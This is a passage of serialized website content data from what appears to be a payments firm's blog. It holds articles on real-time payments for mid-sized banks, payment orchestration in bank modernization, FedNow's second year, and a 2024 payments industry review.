",[19506],{"start":398,"end":703,"type":593},{"type":3373,"text":19508,"spans":19509,"direction":445},"Financial institutions themselves, which can streamline treasury operations by offering real-time corporate disbursements. ",[19510],{"start":398,"end":9077,"type":593},"rich_text$6dd5cf9f-9e63-4a9b-803d-bc49584f20b6",{"variation":437,"version":438,"items":19513,"primary":19514,"id":19522,"slice_type":468,"slice_label":5},[],{"body":19515},[19516],{"type":25,"text":19517,"spans":19518,"direction":445},"Mid-sized banks that integrate RTP into their commercial banking products can offer value-added services that differentiate them from competitors and create new revenue-generating opportunities. ",[19519,19520],{"start":9202,"end":3089,"type":593},{"start":4176,"end":19521,"type":593},145,"rich_text$cccb6ae4-2593-4669-a295-4cc1aa2214e2",{"variation":437,"version":438,"items":19524,"primary":19525,"id":19560,"slice_type":468,"slice_label":5},[],{"body":19526},[19527,19530,19537,19541,19547,19551,19555],{"type":988,"text":19528,"spans":19529,"direction":445},"Cost Savings & Operational Efficiencies: RTP as a Profitability Driver",[],{"type":25,"text":19531,"spans":19532,"direction":445},"Beyond generating new revenue, RTP adoption also helps banks reduce costs and improve operational efficiency. Many of the inefficiencies associated with legacy payment rails—such as fraud risks, manual processing, and reconciliation delays—are significantly reduced with RTP. ",[19533,19535],{"start":3407,"end":19534,"type":593},108,{"start":18514,"end":19536,"type":593},239,{"type":988,"text":19538,"spans":19539,"direction":445},"Reducing Fraud and Disputes ",[19540],{"start":398,"end":3485,"type":593},{"type":25,"text":19542,"spans":19543,"direction":445},"One of the most underrated financial benefits of RTP is its ability to reduce fraud exposure. Because RTP transactions are irrevocable and settle instantly, they eliminate many of the risks associated with: ",[19544,19545,19546],{"start":2477,"end":9211,"type":593},{"start":1658,"end":12970,"type":593},{"start":18520,"end":753,"type":593},{"type":3373,"text":19548,"spans":19549,"direction":445},"Check fraud, which remains a major issue for businesses and banks alike. ",[19550],{"start":398,"end":602,"type":593},{"type":3373,"text":19552,"spans":19553,"direction":445},"ACH returns and reversals, which create back-office challenges and cash flow uncertainties. ",[19554],{"start":398,"end":1066,"type":593},{"type":3373,"text":19556,"spans":19557,"direction":445},"Wire fraud, as RTP provides immediate confirmation of funds, reducing the risk of transaction reversals. ",[19558,19559],{"start":398,"end":905,"type":593},{"start":9704,"end":592,"type":593},"rich_text$c5f07631-43eb-41de-9c73-2de05151a785",{"variation":437,"version":438,"items":19562,"primary":19563,"id":19570,"slice_type":468,"slice_label":5},[],{"body":19564},[19565],{"type":25,"text":19566,"spans":19567,"direction":445},"By leveraging RTP’s secure, real-time transaction processing, banks can lower fraud losses, minimize risk management costs, and enhance customer trust. ",[19568,19569],{"start":7460,"end":685,"type":593},{"start":1797,"end":9206,"type":593},"rich_text$e7d64d4b-9e88-4f5b-b3c7-a56e66997b13",{"variation":437,"version":438,"items":19572,"primary":19573,"id":19594,"slice_type":468,"slice_label":5},[],{"body":19574},[19575,19578,19582,19586,19590],{"type":988,"text":19576,"spans":19577,"direction":445},"Eliminating Back-Office Bottlenecks",[],{"type":25,"text":19579,"spans":19580,"direction":445},"Legacy payment systems often create unnecessary operational burdens for banks, requiring manual intervention to process, reconcile, and settle payments. RTP eliminates many of these inefficiencies by: ",[19581],{"start":3852,"end":2397,"type":593},{"type":3373,"text":19583,"spans":19584,"direction":445},"Providing immediate payment finality, reducing the need for costly exception handling. ",[19585],{"start":398,"end":3852,"type":593},{"type":3373,"text":19587,"spans":19588,"direction":445},"Eliminating the need for end-of-day batch processing, improving straight-through processing rates. ",[19589],{"start":398,"end":1251,"type":593},{"type":3373,"text":19591,"spans":19592,"direction":445},"Reducing inbound customer inquiries, as RTP’s real-time notifications give customers instant payment visibility. ",[19593],{"start":398,"end":628,"type":593},"rich_text$bff94ecc-2cee-4c25-9b2b-aeb91275fee4",{"variation":437,"version":438,"items":19596,"primary":19597,"id":19606,"slice_type":468,"slice_label":5},[],{"body":19598},[19599],{"type":25,"text":19600,"spans":19601,"direction":445},"For banks that want to lower their cost per transaction, streamline treasury operations, and reduce manual workloads, RTP offers a clear path to efficiency gains. ",[19602,19603,19604,19605],{"start":4023,"end":3853,"type":593},{"start":3639,"end":2224,"type":593},{"start":1409,"end":19148,"type":593},{"start":4105,"end":9289,"type":593},"rich_text$ecd89259-8ff7-4f1f-8be9-688cfd3f16bd",{"variation":437,"version":438,"items":19608,"primary":19609,"id":19626,"slice_type":468,"slice_label":5},[],{"body":19610},[19611,19614,19617,19620],{"type":988,"text":19612,"spans":19613,"direction":445},"Mid-Sized Banks Must Act Now to Stay Competitive",[],{"type":25,"text":19615,"spans":19616,"direction":445},"The banking landscape is shifting, and RTP is becoming a fundamental expectation for businesses and consumers alike. While some banks still view real-time payments as a technology challenge, the institutions that move now will reap the financial benefits of early adoption. ",[],{"type":25,"text":19618,"spans":19619,"direction":445},"Banks that enable RTP will not only retain their most valuable customers but will also open new revenue channels, improve operational efficiency, and reduce fraud exposure. Meanwhile, those that delay adoption risk losing deposit relationships to fintechs, large banks, and alternative payment providers. ",[],{"type":25,"text":19621,"spans":19622,"direction":445},"For mid-sized banks, the question is no longer if RTP should be adopted, but how quickly they can deploy it to stay ahead of competitors and meet growing customer demand. ",[19623,19624,19625],{"start":9251,"end":2868,"type":593},{"start":855,"end":782,"type":593},{"start":3971,"end":13573,"type":593},"rich_text$cd554051-c11d-461e-9ff3-f635b9bfa2b0",{"id":19628,"uid":19629,"type":3743,"data":19630},"alzydREAAC4AUWEi","why-orchestration-is-a-key-driver-in-payment-modernisation",{"title":19631,"excerpt":19632,"card_image":19633,"published_date":19638,"reading_time":418,"tag":3751,"dek":19639,"featured_image":19640,"about_form3":19645,"client_about_heading":5,"client_about_body":19646,"author_name":5,"author_title":5,"author_photo":19647,"author_bio":19648,"author_linkedin":19649,"slices":19650,"meta_title":19760,"meta_description":19761},"Why orchestration is a key driver in payment modernization","Payment modernization has become a very important topic for banks over the last few years. For a long time, payment infrastructures in the UK, Europe and the US wasn’t a priority for investment. As long as the infrastructure was able to keep things ticking over, there seemed to be little reason to upgrade it.",{"dimensions":19634,"alt":14048,"copyright":5,"url":19635,"id":19636,"edit":19637},{"width":412,"height":412},"\u002F_prismic-media\u002F14f98a496a8017e0-J-AUZyh53zonHt5v_why-orchestration-is-a-key-driv.jpg","J-AUZyh53zonHt5v",{"x":398,"y":398,"zoom":399,"background":650},"2025-03-03","Payment modernization has become a very important topic for banks over the last few years. For a long time, payment infrastructures in the UK, Europe and the US wasn’t a priority for investment. As long as the infrastructure was able to keep things ticking over, there seemed to be little reason to upgrade it.  At the same time, banks' technology estates were growing larger as they acquired other banks, integrated new technology providers, and extending the capabilities of their backend systems. A lot of the time they didn't have the budget for technology simplification, meaning they were left with incredibly complex, interconnected systems – if you drew a diagram of this infrastructure it would look like Spaghetti Junction. These backends were not only expensive to maintain, but moving away from them would have been costly and complicated.",{"dimensions":19641,"alt":14056,"copyright":5,"url":19642,"id":19643,"edit":19644},{"width":501,"height":646},"\u002F_prismic-media\u002F0cea6bd40331c358-YJ3DsxJNa0G8vG2h_b1ffd5b8-2505-4573-af35-e91f3fd.jpg","YJ3DsxJNa0G8vG2h",{"x":398,"y":398,"zoom":399,"background":650},[],[],{},[],{"link_type":434},[19651,19665,19679,19690,19707,19721,19732,19749],{"variation":437,"version":438,"items":19652,"primary":19653,"id":19664,"slice_type":468,"slice_label":5},[],{"body":19654},[19655,19658,19661],{"type":988,"text":19656,"spans":19657,"direction":445},"Drivers of payment modernization",[],{"type":25,"text":19659,"spans":19660,"direction":445},"In the last few years, though, we've seen some new market drivers that have brought the concept of payment modernization to the fore. First of all, regulators are much more focused on payment provision, not just in terms of resilience and scalability, but also the ability of banks to protect and provide new functionality to end users when making payments. ",[],{"type":25,"text":19662,"spans":19663,"direction":445},"The arrival of open banking and PSD2 acted as a catalyst for a greater focus on payment modernization and the momentum has continued with the introduction of new standards such as ISO20022. Regulators also want to see greater customer protections for payments, meaning banks have had to invest in their payments technology to support these objectives. There are also competitive pressures for banks to undergo payment modernization, it reduces the long term run and change cost profiles for their technology estate whilst offering the potential to develop differentiated offerings to both attract and retain customers. The upshot of all this is that overhauling legacy systems and embracing payment modernization is now necessary for banks.  ",[],"rich_text$b172f942-9d3a-4c37-8ed9-fa55aa687bbf",{"variation":437,"version":438,"items":19666,"primary":19667,"id":19678,"slice_type":468,"slice_label":5},[],{"body":19668},[19669,19672,19675],{"type":988,"text":19670,"spans":19671,"direction":445},"The challenge of payment modernization",[],{"type":25,"text":19673,"spans":19674,"direction":445},"With the growth in account-to-account payments in not just the UK, Europe and the US, but actually across the globe, we are seeing that end users prefer instant payments. Older systems were never designed to handle these payment volumes at such a scale. Central payments infrastructures are also changing due to greater customer demand for instant payments; that's why we're seeing new schemes such as RTP and FedNow in the US. This means the banks have to be able to support and connect with these payment central infrastructures, while also improving their volume handling, resilience, functionality and end user protections e.g. reducing the impact of fraud in account-to-account payments. ",[],{"type":25,"text":19676,"spans":19677,"direction":445},"Just making some changes\u002Fupgrades here and there to existing technology estates isn’t going to be enough anymore. For a start, even making a simple change to one payment flow in these interconnected systems could impact multiple other services; it would require planning, downtime, reconfiguration, testing and other necessary but costly and time-consuming processes. Undertaking a payment modernization journey means moving away from these legacy systems and embracing cloud native platforms to guarantee the scalability, resilience and flexibility required to build and run modern-day payment services.    ",[],"rich_text$3f9e9042-2732-457c-8f97-c5593b31cf98",{"variation":437,"version":438,"items":19680,"primary":19681,"id":19689,"slice_type":468,"slice_label":5},[],{"body":19682},[19683,19686],{"type":988,"text":19684,"spans":19685,"direction":445},"The role of payment orchestration in modernization",[],{"type":25,"text":19687,"spans":19688,"direction":445},"Payment orchestration is a crucial enabler in the modernization of banking infrastructure, offering financial institutions the agility to adapt to evolving payment landscapes. Legacy systems, often fragmented and complex, hinder efficiency and innovation, making it difficult to scale operations or introduce new payment capabilities. Orchestration provides a centralised, event-driven framework that streamlines payment flows, ensuring seamless integration across multiple schemes and payment types. By reducing reliance on monolithic infrastructure, banks gain greater visibility, control, and flexibility over their payment processes. This approach not only enhances operational efficiency but also fosters resilience, allowing financial institutions to respond dynamically to market changes, regulatory updates, and shifting customer expectations without costly system overhauls.",[],"rich_text$a8a73e41-2bc5-4fbe-b8b2-a05e25e0b7a0",{"variation":437,"version":438,"items":19691,"primary":19692,"id":19706,"slice_type":468,"slice_label":5},[],{"body":19693},[19694,19697,19700],{"type":988,"text":19695,"spans":19696,"direction":445},"Advice on how to move to a new architecture",[],{"type":25,"text":19698,"spans":19699,"direction":445},"Banks must consider how they create a new payment technology estate that can handle payment flows end-to-end, giving them a clear line of sight and visibility of everything happening within the system. They need to know that any issues that arise during any of those stages can be flagged and dealt with quickly. Individual services within each payment flow need to be tested and changed easily without impacting other functions or flows. To move towards this technology estate, banks need to invest in an event-driven microservices architecture with payment orchestration solutions being a key enabler of moving towards this end state architecture.  ",[],{"type":25,"text":19701,"spans":19702,"direction":445},"Payment orchestration solutions are the enabler that will support banks in embracing payment modernization. What orchestration does is effectively create an event-driven framework that connects with and interacts with all of the systems necessary to manage payment flows end to end. For every single input, output or decision it creates an event giving the bank complete visibility and control over everything happening within the entire payment flow. Once payment orchestration has been implemented, the ability to make changes to payment flows is much more seamless; therefore the speed and cost of that change is massively reduced.   ",[19703],{"start":398,"end":703,"type":489,"data":19704},{"link_type":491,"url":19705,"target":493},"https:\u002F\u002Fwww.form3.tech\u002Fnews\u002Fpayment-insights\u002Fmisconceptions-of-payment-orchestration","rich_text$5115c757-7a86-4663-a2c7-8e0facc0ac93",{"variation":437,"version":438,"items":19708,"primary":19709,"id":19720,"slice_type":468,"slice_label":5},[],{"body":19710},[19711,19714,19717],{"type":988,"text":19712,"spans":19713,"direction":445},"The benefits of orchestration to shape payment modernization",[],{"type":25,"text":19715,"spans":19716,"direction":445},"Payment orchestration solutions give banks flexibility and control around what happens for each payment type they handle. The bank could have hundreds of different workflows that all have multiple different steps and decisions, and payment orchestration solutions give them oversight of how these all work, as well as the flexibility they need to innovate and create new flows for new propositions.  ",[],{"type":25,"text":19718,"spans":19719,"direction":445},"Payment orchestration also enables banks to approach planning and payment modernization much more effectively. Once the bank has defined its new workflows and set up an integration for each workflow, every microservice or function within that workflow can now be upgraded or swapped out independently of each other. So instead of having to work out how they're going to change giant parts of their infrastructure in one go, banks can do it incrementally, reducing the cost, complexity and risk of these changes.  ",[],"rich_text$eecd9be6-40ef-4c7f-85d1-4feaa396db08",{"variation":437,"version":438,"items":19722,"primary":19723,"id":19731,"slice_type":468,"slice_label":5},[],{"body":19724},[19725,19728],{"type":988,"text":19726,"spans":19727,"direction":445},"Enhancing customer experience through orchestration",[],{"type":25,"text":19729,"spans":19730,"direction":445},"Seamless, fast, and secure payments are now a fundamental expectation for businesses and consumers alike. Customers demand instant processing, high success rates, and minimal friction, yet outdated infrastructure often leads to delays, payment failures, and inefficiencies. Orchestration transforms the payments experience by introducing intelligent routing, real-time decision-making, and dynamic risk management, ensuring transactions are processed through the most efficient and secure channels. This level of flexibility allows banks to innovate, offering customised payment experiences, enhanced fraud prevention, and real-time payment tracking. By optimising operational workflows and reducing failure rates, orchestration enhances reliability and trust, reinforcing a bank’s reputation while improving overall user satisfaction and engagement.  ",[],"rich_text$2f193c02-8183-418e-ada8-82bebd2872ea",{"variation":437,"version":438,"items":19733,"primary":19734,"id":19748,"slice_type":468,"slice_label":5},[],{"body":19735},[19736,19739,19742,19745],{"type":988,"text":19737,"spans":19738,"direction":445},"Examples of how orchestration can drive payment modernization",[],{"type":25,"text":19740,"spans":19741,"direction":445},"There are many instances where orchestration solutions can drive banks’ payment modernization projects. For example, if a bank is using multiple ledger systems but wants to simplify its ledger estate it can use payment orchestration across all of its payment flows and then reduce the number of ledger systems involved in their payment flows in a safe and timely manner. Banks can also use orchestration solutions to run a new version of a payment flow alongside their old version so that it can be tested with lower volumes, allowing them to run various test scenarios to ensure  it's going to work the way they want. This de-risks the process of migrating away from legacy capabilities or outdated payment flows, by separating these modernization changes out into easily digestible and deliverable bites.  ",[],{"type":25,"text":19743,"spans":19744,"direction":445},"Payment orchestration is not only a scalable solution that can help banks handle large volumes in terms of TPS (transactions per second), but also enable them to handle a suite of different bespoke flows. Banks can utilize payment orchestration to change their risk profiles for certain payment flows, allowing them to easily apply new checks to certain payment types or payment amounts in order to reduce risk.  ",[],{"type":25,"text":19746,"spans":19747,"direction":445},"And when it comes to future regulatory changes, banks will have the speed and flexibility to make upgrades in order to adhere to any new legislation. For example, in the UK, there's currently no legal requirement to conduct fraud checks on inbound payments. If there was a new regulation which mandated those checks to crack down on APP fraud, then orchestration solutions give banks the power to integrate their fraud system check on the inbound payment flow quickly and easily. ",[],"rich_text$f4c50a0c-c63a-48c8-ba0d-5901f0847836",{"variation":437,"version":438,"items":19750,"primary":19751,"id":19759,"slice_type":468,"slice_label":5},[],{"body":19752},[19753,19756],{"type":988,"text":19754,"spans":19755,"direction":445},"Takeaway: Why orchestration solutions are a key driver in payment modernization",[],{"type":25,"text":19757,"spans":19758,"direction":445},"While every bank should understand the importance of payment modernization, they must have a clear view of where they want to be and how they get there. Effective payment modernization requires banks to adopt a test and learn approach, both in terms of reimagining existing payment flows to support their existing customers, but also to fuel innovation so they can develop new propositions. Moving away from legacy infrastructure is necessary, and by choosing the right technology partners banks can utilize payment orchestration solutions to help them take the first steps on this journey.",[],"rich_text$f46780a0-e399-49c3-9d11-46b0c19bbd62","Why orchestration is a key driver in payment modernisation","Payment modernisation has become a very important topic for banks over the last few years. For a long time, payment infrastructures in the UK, Europe and the US wasn’t a priority for investment. As long as the infrastructure was able to keep things ticking over, there seemed to be little reason to upgrade it.",{"id":19763,"uid":19764,"type":3743,"data":19765},"alzyWBEAACkAUWDg","fednow-at-two-building-real-time-rails-that-work-for-the-us",{"title":19766,"excerpt":19767,"card_image":19768,"published_date":19774,"reading_time":4603,"tag":3751,"dek":19775,"featured_image":19776,"about_form3":19783,"client_about_heading":5,"client_about_body":19784,"author_name":5,"author_title":5,"author_photo":19785,"author_bio":19786,"author_linkedin":19787,"slices":19788,"meta_title":19966,"meta_description":19967},"FedNow at Two: Building Real-Time Rails That Work for the US","When the Federal Reserve launched FedNow in July 2023, it did so with a clear goal: to make instant, always-on payments a core capability of the US banking system. Two years in, the progress is measurable—but so are the questions. How close are we to ubiquity? How well is FedNow positioned to coexist with (and complement) other rails? And what does success look like in a market as complex and decentralized as the United States?",{"dimensions":19769,"alt":19770,"copyright":5,"url":19771,"id":19772,"edit":19773},{"width":412,"height":412},"Resilience Illustration","\u002F_prismic-media\u002F768dd769818e3e6b-Xw-SddEGk1VdKVZu_fednow-at-two-building-real-tim.png","Xw-SddEGk1VdKVZu",{"x":398,"y":398,"zoom":399,"background":400},"2025-07-22","When the Federal Reserve launched FedNow in July 2023, it did so with a clear goal: to make instant, always-on payments a core capability of the U.S. banking system. Two years in, the progress is measurable—but so are the questions. How close are we to ubiquity? How well is FedNow positioned to coexist with (and complement) the RTP® network and other rails? What does success look like in a market as complex and decentralized as the United States?",{"dimensions":19777,"alt":5,"copyright":5,"url":19780,"id":19781,"edit":19782},{"width":19778,"height":19779},1744,1178,"\u002F_prismic-media\u002F43aabe0dde99e5c0-Fk-Hxdwct_lP59n-_aIOPfVGsbswqTQaa.png","Fk-Hxdwct_lP59n-",{"x":398,"y":398,"zoom":399,"background":400},[],[],{},[],{"link_type":434},[19789,19807,19826,19836,19867,19877,19892,19907,19925,19954],{"variation":437,"version":438,"items":19790,"primary":19791,"id":19806,"slice_type":468,"slice_label":5},[],{"body":19792},[19793,19796,19799,19802],{"type":746,"text":19794,"spans":19795},"From Early Adopters to Ecosystem Momentum",[],{"type":25,"text":19797,"spans":19798,"direction":445},"FedNow’s rollout began with around 35 institutions, ranging from large banks to credit unions. The go-slow approach wasn’t about hesitation—it was about laying groundwork: testing, learning, and scaling responsibly. ",[],{"type":25,"text":19800,"spans":19801,"direction":445},"Since then, adoption has broadened. By mid-2025, over 1300 financial institutions have onboarded. Participation is growing fastest among regional and community banks, which often see FedNow as a chance to leapfrog legacy constraints and compete on experience. ",[],{"type":25,"text":19803,"spans":19804,"direction":445},"This isn’t just about reach—it’s about readiness. Institutions aren’t just signing up; they’re experimenting, launching use cases, and integrating real-time into core customer journeys. ",[19805],{"start":4219,"end":5490,"type":593},"rich_text$4844d0a9-b728-4bac-b9c7-05ccacb65672",{"variation":437,"version":438,"items":19808,"primary":19809,"id":19825,"slice_type":468,"slice_label":5},[],{"body":19810},[19811,19814,19817,19821],{"type":746,"text":19812,"spans":19813},"Feature Enhancements: Filling in the Rail",[],{"type":25,"text":19815,"spans":19816,"direction":445},"Rail adoption doesn’t happen in a vacuum. Financial institutions need features and tooling that de-risk participation and unlock return on investment. In the past 18 months, FedNow has made meaningful progress: ",[],{"type":3373,"text":19818,"spans":19819,"direction":445},"Request for Payment (RfP): Supports structured, invoice-style requests—critical for B2B and recurring bill flows. ",[19820],{"start":398,"end":5574,"type":593},{"type":3373,"text":19822,"spans":19823,"direction":445},"Fraud mitigation controls: Tiered risk thresholds, limits, and controls that reflect institutional risk tolerance. ",[19824],{"start":398,"end":5574,"type":593},"rich_text$5c094f6e-3998-40dd-8171-f08cf55221bf",{"variation":437,"version":438,"items":19827,"primary":19828,"id":19835,"slice_type":468,"slice_label":5},[],{"body":19829},[19830],{"type":25,"text":19831,"spans":19832,"direction":445},"And perhaps most importantly, there’s increased engagement around interoperability. While FedNow and the RTP network still operate independently, the pressure is mounting for coordination—especially as end users increasingly expect network-of-networks behavior rather than siloed functionality.   ",[19833,19834],{"start":11705,"end":1406,"type":593},{"start":792,"end":9258,"type":765},"rich_text$fb46fe2b-efd0-4baf-a004-1448169f0aac",{"variation":437,"version":438,"items":19837,"primary":19838,"id":19866,"slice_type":468,"slice_label":5},[],{"body":19839},[19840,19843,19851,19854,19858,19862],{"type":746,"text":19841,"spans":19842},"Use Case Growth: From Concept to Flow",[],{"type":25,"text":19844,"spans":19845,"direction":445},"It’s one thing to have the infrastructure—it’s another to get volume. FedNow’s early volumes were modest, focused largely on internal settlement pilots. But the past year has seen a shift from exploration to flow. ",[19846,19849],{"start":19847,"end":19848,"type":765},193,204,{"start":9292,"end":19850,"type":765},212,{"type":25,"text":19852,"spans":19853,"direction":445},"Use cases gaining traction across both rails: ",[],{"type":3373,"text":19855,"spans":19856,"direction":445},"Payroll and wage disbursement – Instant pay for hourly workers, gig economy participants, and off-cycle events. ",[19857],{"start":398,"end":871,"type":593},{"type":3373,"text":19859,"spans":19860,"direction":445},"Insurance payouts – Accelerating time-to-cash during moments of need. ",[19861],{"start":398,"end":6911,"type":593},{"type":3373,"text":19863,"spans":19864,"direction":445},"Bill pay – Empowering consumers to time payments precisely and avoid late fees. ",[19865],{"start":398,"end":1633,"type":593},"rich_text$d3e07b72-f1c1-4453-90bb-73ac3e333541",{"variation":437,"version":438,"items":19868,"primary":19869,"id":19876,"slice_type":468,"slice_label":5},[],{"body":19870},[19871],{"type":25,"text":19872,"spans":19873,"direction":445},"The Federal Reserve reports tens of millions of transactions processed as of early 2025, with consistent quarter-over-quarter growth. This growth may not be exponential—but it's durable. It signals a rail transitioning from potential to utility. ",[19874,19875],{"start":7594,"end":19275,"type":765},{"start":13077,"end":13578,"type":765},"rich_text$94effb33-cd31-4953-9c38-5efc87bfa893",{"variation":437,"version":438,"items":19878,"primary":19879,"id":19891,"slice_type":468,"slice_label":5},[],{"body":19880},[19881,19884,19888],{"type":746,"text":19882,"spans":19883,"direction":445},"FedNow vs. The RTP Network: Coexistence, Not Competition",[],{"type":25,"text":19885,"spans":19886,"direction":445},"No conversation about real-time payments in the US is complete without comparing FedNow to The Clearing House’s the RTP network. And while headlines may frame it as a rivalry, the reality is more nuanced: we’re seeing rail coexistence, not a zero-sum contest. ",[19887],{"start":19453,"end":3188,"type":593},{"type":25,"text":19889,"spans":19890,"direction":445},"Here’s how they currently stack up: ",[],"rich_text$387a063f-55b8-4190-9e35-df0817e7af52",{"variation":437,"version":527,"items":19893,"primary":19894,"id":19906,"slice_type":549,"slice_label":5},[],{"eyebrow":5,"heading":19895,"body":19896,"cta_label":5,"cta_link":19897,"aside_type":533,"aside_image":19898,"aside_video":19901,"aside_video_poster":19902,"aside_video_reduced_motion":19903,"aside_video_url":5,"aside_embed":19904,"pardot_form_url":5,"form_submit_label":5,"form_variant":540,"form_heading":5,"redirect_on_success":19905,"theme":543,"overlay_pattern":544,"background_continuation":545,"media_position":546,"aside_vertical_align":547},[],[],{"link_type":434},{"dimensions":19899,"alt":5,"copyright":5,"url":19780,"id":19781,"edit":19900},{"width":19778,"height":19779},{"x":398,"y":398,"zoom":399,"background":400},{"link_type":536},{},{},{},{"link_type":542},"content_block$4adbf2dc-3de6-4d25-b1a2-6ffa0726ba12",{"variation":437,"version":438,"items":19908,"primary":19909,"id":19924,"slice_type":468,"slice_label":5},[],{"body":19910},[19911,19915,19919],{"type":25,"text":19912,"spans":19913,"direction":445},"The RTP network leads in transaction volume and reach, largely due to its earlier start and strong traction in A2A transfers like bank to bank, brokerage, and wallet defunding P2P as well as consumer-facing flows like earned wage access. In the first quarter of 2020, a bit after the 2-year anniversary for RTP – they showed roughly 10 million transactions a quarter and about 50 million in value.  ",[19914],{"start":398,"end":8472,"type":593},{"type":25,"text":19916,"spans":19917,"direction":445},"FedNow, on the other hand, is carving out space in larger-value, time-sensitive B2B and institutional payments—often where risk tools and liquidity visibility are critical. ",[19918],{"start":398,"end":2375,"type":593},{"type":25,"text":19920,"spans":19921,"direction":445},"Both networks serve different segments. The long-term opportunity lies not in picking winners, but in building connective tissue across them—common messaging formats, fraud signals, and identity layers that allow banks and fintechs to deliver a unified experience, regardless of the underlying rail. The ecosystem is being looked at to solve for this, with service providers like Form3 providing intelligent routing capabilities, allowing FI’s to not have to worry about building to two different rails, and being able to send an instant payment without worrying  concern around the differences between FedNow and the RTP network.  ",[19922],{"start":4073,"end":19923,"type":593},128,"rich_text$11998ed8-3fc3-4c23-b8e8-ee856541c881",{"variation":437,"version":438,"items":19926,"primary":19927,"id":19953,"slice_type":468,"slice_label":5},[],{"body":19928},[19929,19932,19941,19945,19949],{"type":746,"text":19930,"spans":19931,"direction":445},"What’s Next: Building Density and Depth",[],{"type":25,"text":19933,"spans":19934,"direction":445},"FedNow’s growth raises important questions—not just about adoption, but about coexistence. As we explore in our latest Finextra report, The Future of Payments in Major Global Markets: A Mid-Decade Review, the US doesn’t need one rail to win.. It needs multiple rails to connect. The work ahead includes: ",[19935,19936,19939,19940],{"start":9216,"end":9315,"type":593},{"start":19534,"end":7408,"type":489,"data":19937},{"link_type":491,"url":19938,"target":493},"https:\u002F\u002Fwww.finextra.com\u002Fresearcharticle\u002F348\u002Fthe-future-of-payments-in-major-global-markets-a-mid-decade-review?utm_source=form3&utm_medium=ext&utm_campaign=form3-paper-23062025",{"start":19534,"end":7408,"type":593},{"start":3295,"end":15636,"type":765},{"type":3373,"text":19942,"spans":19943,"direction":445},"Creating meaningful interoperability frameworks between FedNow, the RTP network, and emerging nonbank solutions",[19944],{"start":7460,"end":9251,"type":593},{"type":3373,"text":19946,"spans":19947,"direction":445},"Aligning on rules, risk, and identity standards that enable safe, frictionless cross-rail experiences. ",[19948],{"start":2707,"end":9251,"type":593},{"type":3373,"text":19950,"spans":19951,"direction":445},"Accelerating end-user value—because real-time speed is only as powerful as the use case it serves. ",[19952],{"start":1951,"end":3485,"type":593},"rich_text$aa50013a-ef78-407d-aac1-b58851c72ff8",{"variation":437,"version":438,"items":19955,"primary":19956,"id":19965,"slice_type":468,"slice_label":5},[],{"body":19957},[19958],{"type":25,"text":19959,"spans":19960,"direction":445},"The US doesn’t do “mandates.” It does markets. FedNow’s evolution will be shaped by the collective actions of participants—and their ability to move from real-time capability to real-time strategy. ",[19961,19963],{"start":19962,"end":10918,"type":765},164,{"start":9242,"end":19964,"type":765},196,"rich_text$907f29f7-b38f-483f-a6c9-e1eeba58bd6e","FedNow at Two: Building Real-Time Rails That Work for the U.S.","When the Federal Reserve launched FedNow in July 2023, it did so with a clear goal: to make instant, always-on payments a core capability of the U.S. banking system. Two years in, the progress is measurable—but so are the questions. How close are we to ubiquity? How well is FedNow positioned to coexist with (and complement) other rails? And what does success look like in a market as complex and decentralized as the United States?",{"id":19969,"uid":19970,"type":3743,"data":19971},"alzyhxEAACcAUWFO","year-in-review-2024-payment-landscape",{"title":19972,"excerpt":19973,"card_image":19974,"published_date":19979,"reading_time":418,"tag":3751,"dek":19973,"featured_image":19980,"about_form3":19985,"client_about_heading":5,"client_about_body":19986,"author_name":5,"author_title":5,"author_photo":19987,"author_bio":19988,"author_linkedin":19989,"slices":19990,"meta_title":19972,"meta_description":19973},"A Comprehensive Review of the Most Impactful Developments in the Payments Industry","2024 has been a transformative year for the payments industry, marked by significant innovations, regulatory changes, and technological advancements. In this series, we explore the most impactful trends and developments that have shaped the sector.",{"dimensions":19975,"alt":19972,"copyright":5,"url":19976,"id":19977,"edit":19978},{"width":412,"height":412},"\u002F_prismic-media\u002F12f142bb595a49e6-v7F12lhEmt-rcLts_year-in-review-2024-payment-lan.svg","v7F12lhEmt-rcLts",{"x":398,"y":398,"zoom":399,"background":650},"2024-12-11",{"dimensions":19981,"alt":5,"copyright":5,"url":19982,"id":19983,"edit":19984},{"width":423,"height":424},"\u002F_prismic-media\u002Feb50c70b080b007a-l6l03ZB9g38LYDNn_Z1gbe5bqstJ98QKG.png","l6l03ZB9g38LYDNn",{"x":398,"y":398,"zoom":399,"background":400},[],[],{},[],{"link_type":434},[19991,20052,20098,20113,20150],{"variation":437,"version":438,"items":19992,"primary":19993,"id":20051,"slice_type":468,"slice_label":5},[],{"body":19994},[19995,19998,20002,20009,20016,20020,20027,20033,20037,20044],{"type":988,"text":19996,"spans":19997,"direction":445},"Key Innovations and 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institutions. ",[20012,20015],{"start":398,"end":7460,"type":489,"data":20013},{"link_type":491,"url":20014,"target":493},"https:\u002F\u002Fwww.form3.tech\u002Fnews\u002Fpayment-insights\u002Fcombatting-app-fraud",{"start":398,"end":703,"type":593},{"type":25,"text":20017,"spans":20018,"direction":445},"Regulatory Changes ",[20019],{"start":398,"end":2769,"type":593},{"type":25,"text":20021,"spans":20022,"direction":445},"PSD3 and Fintechs: The introduction of PSD3 has brought significant changes for fintech companies, enhancing cybersecurity measures and streamlining payment operations. ",[20023,20026],{"start":398,"end":6911,"type":489,"data":20024},{"link_type":491,"url":20025,"target":493},"https:\u002F\u002Fwww.form3.tech\u002Fnews\u002Fpayment-insights\u002Fpsd3-and-fintechs",{"start":398,"end":2769,"type":593},{"type":25,"text":20028,"spans":20029,"direction":445},"DORA: Cloud Regulation for Banks in Europe: The Digital Operational Resilience Act (DORA) mandates financial institutions to ensure digital resilience, impacting how banks manage their IT infrastructure. ",[20030,20032],{"start":398,"end":1486,"type":489,"data":20031},{"link_type":491,"url":13079,"target":493},{"start":398,"end":5136,"type":593},{"type":25,"text":20034,"spans":20035,"direction":445},"Payment Innovations ",[20036],{"start":398,"end":6262,"type":593},{"type":25,"text":20038,"spans":20039,"direction":445},"Verification of Payee (VOP): The new VOP regulations in Europe aim to prevent fraud by verifying payee details in real-time, similar to the UK's Confirmation of Payee (COP) system. ",[20040,20043],{"start":398,"end":3485,"type":489,"data":20041},{"link_type":491,"url":20042,"target":493},"https:\u002F\u002Fwww.form3.tech\u002Fnews\u002Fpayment-insights\u002Fvop",{"start":398,"end":9704,"type":593},{"type":25,"text":20045,"spans":20046,"direction":445},"SEPA Indirect Participants and DNSP: The Direct Non-Settling Participant (DNSP) model offers significant benefits to SEPA Indirect Participants, enhancing their operational efficiency. 